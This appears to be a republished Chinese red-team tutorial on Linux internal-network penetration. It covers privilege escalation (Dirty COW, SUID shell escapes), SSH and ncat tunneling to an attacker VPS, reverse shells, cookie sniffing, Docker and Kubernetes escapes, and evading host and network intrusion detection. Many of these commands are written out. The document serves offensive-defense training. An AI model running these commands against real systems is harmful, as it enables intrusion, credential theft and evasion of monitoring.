内网渗透-Linux内网渗透

系列文章目录

文章目录
  • 系列文章目录
  • 一、Linux内网渗透
  • 二、提权
    • 2.1 利用内核漏洞进行提权
    • 2.2 利用文件权限配置不当进行提权
    • 2.3 利用SUID程序进行提权
  • 三、隧道
    • 3.1 SSH
    • 3.2 nc/ncat
    • 3.3 portmap
    • 3.4 portfw
  • 四、反弹shell
    • 4.1 bash
    • 4.2 netcat
    • 4.3 php
    • 4.4 perl
    • 4.5 python
    • 4.6 ruby
    • 4.7 telnet
    • 4.8 openssl 加密
    • 4.9 完全交互式shell
  • 五、登录态
    • 5.1 tcpdump
    • 5.2 网站文件
  • 六、云安全
    • 6.1 docker
      • 6.1.1 判断是否是docker环境
      • 6.1.2 逃逸
        • 6.1.2.1 特权容器
        • 6.1.2.2 Docker Socket
        • 6.1.2.3 脏牛
      • 6.1.3 未授权访问
    • 6.2 kubernetes
      • 6.2.1 API Server攻击
      • 6.2.2 kubelet 10250端口攻击
      • 6.2.3 etcd 2379端口攻击
  • 七、IDS
    • 7.1 HIDS
    • 7.2 NIDS
  • 八、工具化
  • 总结
  • 附录

一、Linux内网渗透

上篇内网渗透(附录1)主要讲的是Windows这块,最近知识星球“腾讯安平密友圈”提到了一个问题“为什么内网渗透偏向于Windows”,笔者也在下面进行了相关回复,除了传统的信息收集、弱口令以外,Linux内网渗透也有很多可玩性。
在这里插入图片描述
在服务器方面,Linux由于开源、稳定、灵活、社区支持等因素,市场占有率远比Windows大,并且广大业务逐步上云使用docker容器等原因,所以Linux渗透攻击也是蓝军极为常见和必备的技能。

本文将以蓝军攻击视角,介绍常用的Linux内网渗透的手法,包括提权、隧道、反弹shell、登录态、云安全和工具化,主要让大家了解内网渗透的手法和危害,以攻促防,希望能给安全建设带来帮助。

二、提权

Linux不像Windows有那么多的提权EXP,不会动不动就出现各种烂土豆系列,因此Linux提权常常成为一个难点。本章将介绍一些Linux上的提权手法。

2.1 利用内核漏洞进行提权

脏牛漏洞(CVE-2016-5195)是一个影响2007年-2016年长达9年发行的Linux系统的提权漏洞,恶意用户可以利用条件竞争获取ROOT权限。

这里以写文件的手段来演示下该漏洞利用方法。
本次漏洞环境如下:
在这里插入图片描述
根目录下存在test.txt:
在这里插入图片描述
普通用户只能查看而不能修改:
在这里插入图片描述
利用EXP成功写入文件到只读文件中:
在这里插入图片描述
附上该漏洞的POC集合地址:

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

笔者不太喜欢用此类EXP,包括Window上的溢出类漏洞,因为此类漏洞有可能会导致系统崩掉,对于客户环境、敏感系统还是慎用。

针对此类漏洞有些同学会有如下疑问:
Q:为什么我执行以后会卡死?
A:尝试使用反弹的方式,即交互式/半交互式的方法进行。

2.2 利用文件权限配置不当进行提权

当某个进程启动权限为ROOT,对应文件编辑权限为普通用户时,我们可以利用该问题点进行提权。

pspy(附录2)工具提供了普通用户权限即可监听进程信息,该工具原理很简单,循环遍历/proc下的值来获取进程参数信息:
在这里插入图片描述
如果我们设置hidepid,该工具就会失效,如:

mount -o remount,rw,hidepid=2 /proc

该工具就什么输出都不会有,或者只有问号:
在这里插入图片描述
在这里插入图片描述
这里我们使用pspy作为辅助演示(当没设置hidepid时)。

前期准备中,首先我们创建一个while循环,并使用ROOT用户循环执行/tmp/1.sh。然后当我们获取USER普通用户权限时,利用pspy可以监控到ROOT用户在持续执行/tmp/1.sh:

在这里插入图片描述
尝试查看/tmp/1.sh文件内容和权限,发现我们当前用户具备读写权限:
在这里插入图片描述
我们尝试替换文件内容,查看是否会以ROOT权限启动其中命令:
在这里插入图片描述
发现成功提权,以ROOT权限启动自定义命令:
在这里插入图片描述

2.3 利用SUID程序进行提权

当程序运行需要高权限,但是用户不具备高权限时,这时则可以给文件设置SUID,使得用户在执行文件时将以文件所有者的权限来运行文件,而不是运行者本身权限。

首先/tmp/test存在如下文件:
在这里插入图片描述
正常执行结果如下:
在这里插入图片描述
当设置SUID时,执行结果如下:

chmod +s ./test

在这里插入图片描述
在这里插入图片描述
执行结果依然是当前用户,为何?

这是因为在高版本Linux(附录3)中,如果启动bash的的Effective UID与Real UID不相同,而且没有使用-p参数,则bash会将Effective UID还原成Real UID。即如果就算有S位,但没有使用-p参数,则最终执行的权限依然是当前用户的权限。

可以使用setuid(附录4)使得bash当前Effective UID和Real UID相同来达到提权效果:

#include<stdlib.h>
main()
{
setuid(0);
system(“whoami > /tmp/test.txt”);
}

在这里插入图片描述
我们可以使用如下命令来寻找服务器上设置了SUID的应用程序:

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
下面列举几个常见的设置了SUID的应用程序提权手段。
nmap

nmap --interactive
!sh

find

find . -type f -exec /bin/bash ;

awk

awk ‘BEGIN {system(“/bin/bash”)}’

strace

strace -o/dev/null /bin/bash

三、隧道

Linux上可以利用自带和第三方工具进行隧道开启,利用隧道,我们可以建立Socks连接、端口转发等操作。

3.1 SSH

Linux上耳熟能详的就是SSH了,我们来看下SSH常用的开启隧道的命令。

  • 场景a:在控制A机器时,利用socks代理进入A机器所在内网

ssh -qTfnN -D 1111 root@AIP

输入A机器密码,本地利用proxychains等类似工具连接本地的1111端口的sock5连接即可代理A机器的网络。

  • 场景b:如果控制A、B机器,A能够访问B,且能出网,B能够访问C,但不能出网,A不能访问C

A机器执行:

ssh -CNfg -L 2121:CIP:21 root@BIP

输入BIP机器密码,访问A机器的2121端口即是访问CIP的21端口。

  • 场景c:控制A机器,A能够访问B

A机器执行:

ssh -CNfg -R 2121:BIP:21 root@hackervps

输入黑客VPS密码,访问黑客VPS的2121端口即是访问BIP的21端口。

3.2 nc/ncat

服务端执行监听命令:

ncat --sh-exec “ncat 127.0.0.1 22” -l 80 --keep-open

客户端连接服务端的80端口即可SSH连接:

SSH root@serverip -p 80

3.3 portmap

服务端执行:

portmap -m 1 -p1 80 -h2 127.0.0.1 -p2 22

客户端连接服务端的80端口即可SSH连接:

SSH root@serverip -p 80

3.4 portfw

服务端执行:

tcpfwd 0.0.0.0:443 127.0.0.1:22

客户端连接服务端的443端口即可SSH连接:

SSH root@serverip -p 443

四、反弹shell

Linux上也存在一些自带命令/工具,来进行反弹shell得到一个(非)交互式shell。

下述命令中的yourip为攻击者监听的ip;yourport为攻击者监听的端口。

4.1 bash

在这里插入图片描述

4.2 netcat

在这里插入图片描述

4.3 php

在这里插入图片描述

4.4 perl

在这里插入图片描述

4.5 python

在这里插入图片描述

4.6 ruby

在这里插入图片描述

4.7 telnet

在这里插入图片描述

4.8 openssl 加密

服务端生成证书:
在这里插入图片描述
服务端监听:
在这里插入图片描述
受控端执行:
在这里插入图片描述

4.9 完全交互式shell

attack端执行:
在这里插入图片描述
victim端执行:
在这里插入图片描述
现在ctrl+c也不会退出:
在这里插入图片描述

五、登录态

现在越来越多的系统接入SSO、零信任,用户友好度提升了,但是也伴随了大量风险,比如如果单点故障了怎么办。其他安全风险呢?如果我们拿下其中一台可信服务器的权限,是否也伴随着未做隔离的站点也沦为了能快速拿权限的攻击目标?

5.1 tcpdump

tcpdump是一款网络抓包的程序,在SSO、零信任的场景中,我们可以利用它来获取用户的登录态、Cookie等敏感信息,然后利用这些信息去登录其他未做隔离的站点。

下面是抓取http数据包的命令示例
在这里插入图片描述

5.2 网站文件

除了使用抓包工具去进行敏感信息的抓取,我们还可以在网站本身去做一下手脚。

比如网站是php的,那我们可以在配置文件文件中,插入恶意代码,获取Cookie等信息,下面是代码示例
在这里插入图片描述

六、云安全

现在越来越多的业务开始上云,使用容器部署业务,那随之而来的也是对应的安全风险,包括不限于未授权访问、命令执行等漏洞。

6.1 docker

6.1.1 判断是否是docker环境

进程数很少,比如少于10
在这里插入图片描述

  • 常见的命令却没有,如没有wget命令
  • 在这里插入图片描述
  • 存在/.dockerenv文件
  • 在这里插入图片描述
  • /proc/1/cgroup内包含"docker"字符
  • 在这里插入图片描述
6.1.2 逃逸

逃逸是指我们在容器中逃逸到宿主机中。

6.1.2.1 特权容器

当容器是以特权启动时,docker将允许容器访问宿主机上的所有设备。

如下容器是进行特权启动(docker run --privileged)的,我们可以把宿主机磁盘挂载进容器里,然后进行相关的逃逸操作,包括不限于更改计划任务、文件。

fdisk -l|grep /dev/vda1
mkdir /test
mount /dev/vda1 /test
chroot /test

在这里插入图片描述

6.1.2.2 Docker Socket

/var/run/docker.sock文件是Docker守护进程默认监听的Unix域套接字,容器中的进程可以通过该文件与docker守护进程进行通信。
在这里插入图片描述

当攻击者可控的容器内挂载了该文件,我们也可以对其进行逃逸。
首先我们用如下命令创建一个特权测试容器:
在这里插入图片描述
比如我们控制了上述容器,并发现其挂载了docker.sock:
在这里插入图片描述
那么我们可以利用/var/run/docker.sock创建特权容器(附录5):
在这里插入图片描述
最终发现逃逸成功:
在这里插入图片描述

6.1.2.3 脏牛

利用漏洞章节处的脏牛漏洞提权也可以达到逃逸目的,这里不重复演示。
POC地址:

https://github.com/scumjr/dirtycow-vdso

6.1.3 未授权访问

当默认端口为2375的Docker Remote API对外未授权开放时,攻击者可以利用该漏洞进行getshell。

  • a、未授权攻击测试过程:
    获取所有images列表:

curl http://host:2375/containers/json

获取运行中的容器:

docker -H tcp://host:2375 ps

  • b、getshell过程:
    获取镜像:

docker -H tcp://host:2375 images

根据镜像创建容器,把宿主机根目录挂载到容器中:

docker -H tcp://host:2375 run -it -v /:/mnt/ image_id /bin/bash

创建容器后没自动进入容器的话,可以利用ps查看创建容器的CONTAINER ID:

docker -H tcp://host:2375 ps

然后进入容器:

docker -H tcp://host:2375 exec -it CONTAINERID sh

默认执行命令只能看到容器内的:
在这里插入图片描述
进入到挂载进来的磁盘中,并切换根目录,则可以看到宿主机进程:

chroot /mnt sh

在这里插入图片描述
因为挂载把宿主机根目录挂载到了容器中的/mnt目录中,就再次回到了上述逃逸的攻击手段了,其他就不再赘述。

6.2 kubernetes

kubernetes简称k8s,简单理解是拿来自动化部署容器、管理容器的框架。

6.2.1 API Server攻击

当我们获取到admin token时,可以操作API Server来控制集群。
在这里插入图片描述
也可以把admin token放置在~/.kube/config文件中,然后利用命令行工具进行后续操作:
在这里插入图片描述

6.2.2 kubelet 10250端口攻击

10250端口是kubelet API的HTTPS端口,该端口提供了pod和node的信息,如果该端口对外开放,攻击者可以利用公开api来获取敏感信息,甚至执行命令。

curl -k https://host:10250/pods

在这里插入图片描述
根据上述获取到的信息在容器中执行命令:
在这里插入图片描述
上述命令得到websocket地址,连接websocket得到命令结果:在这里插入图片描述
当获取到admin token后,也可以利用该服务端口在pod中执行命令:
在这里插入图片描述

6.2.3 etcd 2379端口攻击

etcd中存放着k8s集群数据,如果可以成功访问该服务端口,则可以获取集群中的敏感信息,包括k8s secrets、admin token、AKID等。

七、IDS

本章介绍的IDS包括HIDS和NIDS。

7.1 HIDS

HIDS涉及到如何绕过服务器上的agent。
业务服务器上默认都部署了agent,如何绕过这些agent也是一个很大的学问。这些agent常常会hook execve来获取和判断执行的命令是否恶意。

这里有几个思路和大家一起讨论:

  • 滞空LD_PRELOAD来绕过用户态的hook,busybox同理
  • 利用代码来执行命令
  • 利用ptrace进行日志混淆
  • 关闭或致盲agent通信

7.2 NIDS

NIDS涉及到如何绕过网络设备进行扫描。
在内网渗透中,我们会使用nmap去做网络探测,而nmap自带的一些特征会导致被安全设备识别和拦截。因此我们需要对nmap做一些修改,比如更改nselib/http.lua,把nmap字样删除:
![![在这里插入图片描述](https://img-blog.csdnimg.cn/a1d2b527879445968e8c81871068fd5d.png)
tcpip.cc更改windows窗口大小:
在这里插入图片描述
也可以利用ipv6进行绕过(附录6)。
也可以利用curl进行简单的探测,curl能获取banner信息:
在这里插入图片描述

八、工具化

当我们拿下跳板机/堡垒机此类服务器权限时,上面可用的命令少之又少,甚至连whoami都没有!因此我们需要编写一些适用的小工具来帮我们完成一些指定的工作,包括curl(附录7)、反弹shell:
在这里插入图片描述

总结

内网渗透博大精深,进入内网如何在不被发现的情况下快速获取目标权限也是重中之重,本系列的文章也只是抛砖引玉。腾讯蓝军也会持续和大家分享更多攻防知识,希望能够和大家共同成长,提高整体红蓝对抗水平。

文中涉及的技术信息,只限用于技术交流,切勿用于非法用途。欢迎探讨交流,行文仓促,不足之处,敬请不吝批评指正。

腾讯蓝军

腾讯蓝军(Tencent Force)由腾讯TEG安全平台部于2006年组建,十余年专注前沿安全攻防技术研究、实战演练、渗透测试、安全评估、培训赋能等,采用APT攻击者视角在真实网络环境开展实战演习,全方位检验安全防护策略、响应机制的充分性与有效性,最大程度发现业务系统的潜在安全风险,并推动优化提升,助力企业领先于攻击者,防患于未然。

附录

附录1 内网渗透-window内网渗透

附录2 pspy:
https://github.com/DominicBreuker/pspy

附录3 bash:
https://Linux.die.net/man/1/bash

附录4 setuid:
https://man7.org/linux/man-pages/man2/setuid.2.html

附录5 创建特权容器:
https://github.com/neargle/cloud_native_security_test_case

附录6 利用ipv6绕过ids:
https://security.tencent.com/index.php/blog/msg/147

附录7 curl:
https://github.com/SYM01/gosnippets/blob/main/curl/curl.go

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/815667.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Prime (2021): 2

前言 这个靶机有亿点难,收获很多。打靶的时候&#xff0c;前面很顺&#xff0c;到创建ssh公钥之后就一点不会了。 1 01 arp扫描&#xff0c;发现有一个130&#xff0c;再查看端口 有22&#xff0c;80&#xff0c;129&#xff0c;445&#xff0c;10123 dirb扫描目录 这…

蓝牙技术在智能硬件中应用火热,你的蓝牙适配测试如何解决?

蓝牙技术在物联网中的应用非常广泛&#xff0c;可以为人们的生活和工作带来更多的便利和智能化体验&#xff0c;主要五大核心应用场景&#xff0c;具体如下&#xff1a; 1、智能家居 通过蓝牙连接智能家居设备&#xff0c;如智能灯泡、智能插座、智能恒温器等&#xff0c;可以…

mysql 查询实战-变量方式-解答

对mysql 查询实战-变量方式-题目&#xff0c;进行一个解答。&#xff08;先看题&#xff0c;先做&#xff0c;再看解答&#xff09; 1、查询表中⾄少连续三次的数字 1&#xff0c;处理思路 要计算连续出现的数字&#xff0c;加个前置变量&#xff0c;记录上一个的值&#xff0c…

AI大模型日报#0413:谷歌引入“无限注意力”、Picsart AI 开源120秒超长AI视频模型

导读&#xff1a; 欢迎阅读《AI大模型日报》&#xff0c;内容基于Python爬虫和LLM自动生成。目前采用“文心一言”生成了每条资讯的摘要。 标题: 速递&#xff5c;木头姐 ARK 宣布已投资 OpenAI&#xff01;还将 Anthropic 及 Figure1 等 AI 独角兽一网打尽摘要: ARK已通过其风…

IO流基本流

目录 什么是IO流 IO流的体系 字节流 FileOutputStream FileInputStream 字符集 字符流 FileReader FileWriter 字节流和字符流的使用场景 什么是IO流 内存不能永久化存储,程序停止,数据丢失,所以要添加一个存档功能,存储到硬盘的文件,我们要知道文件在哪里和如何传…

【web3技术】什么是 WEB3?

Web3 简介 中心化网络已经帮助数十亿人融入了互联网,并在其上创建了稳定、可靠的基础设施。 与此同时,少数中心化巨头几乎垄断了互联网,甚至可以为所欲为。 Web3 是摆脱这一困境的方案。 不同于科技巨头垄断的传统互联网,Web3 采用去中心化,由所有用户构建、运营和拥有。…

day57 判断子序列 不同的子序列 两个字符串的删除操作 编辑距离

题目1 392 判读子序列 题目链接 392 判断子序列 题意 判断字符串s是否为字符串t的子序列 &#xff08;子序列的相对位置在原字符串中不改变&#xff09; 就是求最长公共子序列的长度与字符串s的长度是否相等 动态规划 1&#xff09;确定dp数组及下标i的含义 dp[i][j]…

城市预约挂号统一平台的实现

目录 一、需求分析 二、界面设计 ​ 三、前端开发 四、代码下载 一.需求分析 二、界面设计 三、前端开发 <!DOCTYPE html> <html lang"zh-ch"> <head><meta charset"UTF-8"><title>基本样式页</title><link rel…

宜搭无权查询该应用信息,唯一排查码:21081d4e17130865292352743e9ed8

这种问题可能是关联表单出现了问题&#xff0c;当前应用中没有这个表单 所以就出现了应用无权访问的问题

【第二十四篇】使用Burpsuite实现反射、储存、DOM型XSS(靶场实战案例)

目录 反射性XSS储存型XSSDOM XSS反射性XSS 搜索1后,审查元素: 猜测<font>标签中没有进行XSS特殊字符转义,而在<font>标签内,可使用<script>标签: <script>alert(1)</script>储存型XSS 该模块对姓名、电子邮件、网站做过滤处理,但评论处…

基于深度学习的生活垃圾智能分类系统(微信小程序+YOLOv5+训练数据集+开题报告+中期检查+论文)

摘要 本文基于Python技术&#xff0c;搭建了YOLOv5s深度学习模型&#xff0c;并基于该模型研发了微信小程序的垃圾分类应用系统。本项目的主要工作如下&#xff1a; &#xff08;1&#xff09;调研了移动端垃圾分类应用软件动态&#xff0c;并分析其优劣势&#xff1b;分析了深…

鸿蒙开发学习笔记第一篇--TypeScript基础语法

目录 前言 一、ArkTS 二、基础语法 1.基础类型 1.布尔值 2.数字 3.字符串 4.数组 5.元组 6.枚举 7.unkown 8.void 9.null和undefined 10.联合类型 2.条件语句 1.if语句 1.最简单的if语句 2.if...else语句 3.if...else if....else 语句 2.switch语句 5.函数…

Java 入门教程||Java 关键字

Java 关键字 Java教程 - Java关键字 Java中的关键字完整列表 关键词是其含义由编程语言定义的词。 Java关键字和保留字&#xff1a; abstract class extends implements null strictfp true assert const false import package super try …

bugku-web-文件包含2

页面源码 <!-- upload.php --><!doctype html><html><head><meta charset"utf-8"/><meta http-equiv"X-UA-Compatible" content"IEedge"><meta name"viewport" content"widthdevice-widt…

技术周刊的转变:如何平衡热爱与现实?

大家好&#xff0c;我是那个自己打脸自己的猫哥&#xff0c;本来说周刊不做订阅制的&#xff0c;现在却推出了订阅专栏。今天想为自己辩护一下&#xff0c;同时聊聊技术周刊今后的发展计划。 首先回顾一下我过去的想法吧&#xff0c;然后再解释为什么会突然出现转变。 出于对…

如何进行宏观经济预测

理性预期经济学提出了理性预期的概念&#xff0c;强调政府在制定各种宏观经济政策时&#xff0c;要考虑到各行为主体预期对政策实施有效性的影响&#xff0c;积极促成公众理性预期的形成&#xff0c;从而更好地实现宏观调控的目标。政府统计要深入开展统计分析预测研究&#xf…

poi-tl的使用(通俗易懂,全面,内含动态表格实现 包会!!)

最近在做项目时候有一个关于解析Html文件&#xff0c;然后将解析的数据转化成word的需求&#xff0c;经过调研&#xff0c;使用poi-tl来实现这个需求&#xff0c;自己学习花费了一些时间&#xff0c;现在将这期间的经验总结起来&#xff0c;让大家可以快速入门 poi-tl的介绍 …

979: 输出利用先序遍历创建的二叉树的后序遍历序列

解法&#xff1a; #include<iostream> using namespace std; struct TreeNode {char val;TreeNode* left;TreeNode* right;TreeNode(char c) :val(c), left(NULL), right(NULL) {}; }; TreeNode* buildTree() {char c;cin >> c;if (c #) {return NULL;}TreeNode*…

Android图形显示架构概览

图形显示系统作为Android系统核心的子系统&#xff0c;掌握它对于理解Android系统很有帮助&#xff0c;下面从整体上简单介绍图形显示系统的架构&#xff0c;如下图所示。 这个框架只包含了用户空间的图形组件&#xff0c;不涉及底层的显示驱动。框架主要包括以下4个图形组件。…